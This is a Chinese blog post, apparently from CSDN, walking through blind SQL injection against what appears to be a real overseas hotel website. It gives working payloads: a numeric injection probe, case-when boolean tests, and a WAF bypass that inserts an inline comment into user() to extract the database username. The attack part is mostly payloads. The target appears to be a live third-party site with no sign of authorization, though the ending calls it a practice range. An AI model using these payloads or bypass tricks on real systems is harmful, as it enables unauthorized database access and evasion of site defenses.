渗透测试系列|国外之盲注+注释符绕过waf

文章描述了一次针对海外网站的SQL注入攻击过程,通过测试发现数字型注入点,尝试使用if()函数失败后,利用case+when成功执行SQL语句。在绕过WAF拦截时,通过特殊字符分隔避免了user()函数被拦截,成功进行盲注爆破,揭示了网络安全中利用和防御SQL注入的策略。
摘要由CSDN通过智能技术生成

1、首先这是一个国外的站。      

话不多说上   url: Úvod - hotel Modena ***

2、然后找注入点发现id=1/1 id=1/0 回显不一样

说明什么,说明是数字型的注入,因为/1 /0在数据库里面被执行了,所以可以构造语句查询到数据库的敏感信息

Id=1/1

Id=1/0

3、数字型的注入,首先想到的就是我们的if()大佬

尝试了一下,啊这,看来if()大佬不行呀,下一个

4、这时候就该用我们的case+when试试,欸,不对劲。发现可以了

id=1/case+when+1=1+then+1+else+0+end

   

看看有没有回显,不等于试试看id=1/case+when+1!=1+then+1+else+0+end

我去有回显了,这不就是成功了

5、这不得拿出我们的截取函数substr(1,1,1),放进去,可以了,回显正常,美滋滋

这里是为了尝试,substr(1,1,1)这个函数在不在数据库里面执行,很显然执行了

6、所以接下来直接就盲注爆破user数据库用户名

1/case+when+substr(user(),1,1)=1+then+1+else+0+end

我去,发现不行,估计被拦截了

7、然后我转念一想,拦截user(),它可能是拦截user和(),让他们不能同时在一起

然后我就试一试user/**/(),目的就是为了让user不和()在一起 我可真是坏人

发现回显成功了,这不就是绕过了

然后看看他们有没有回显1/case+when+substr(user(),1,1)!=1+then+1+else+0+end

哦耶,成功了

8、最后直接爆破user用户名,爆破第一位,点到为止

1/case+when+substr(user/**/(),1,1)!='1'+then+1+else+0+end

爆破出来发现是d和D,因为这个数据库不区分大小写的

9、这里还可以用其他的poc,大家可以发散一下思维

id=1/case+when+user/**/()+like+%27__________________________%27+then+1+else+0+end

总结:对于这个靶场,大家可以发散一下思维,对以后的绕waf有很大的帮助

这里面还有一个奇怪的事,你换一个edag的浏览器,if()函数就没有被拦截了

真奇怪

以下是用edag,if()大佬就可以用了,莫非这就是思维的发散行,可恶,被他装到了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值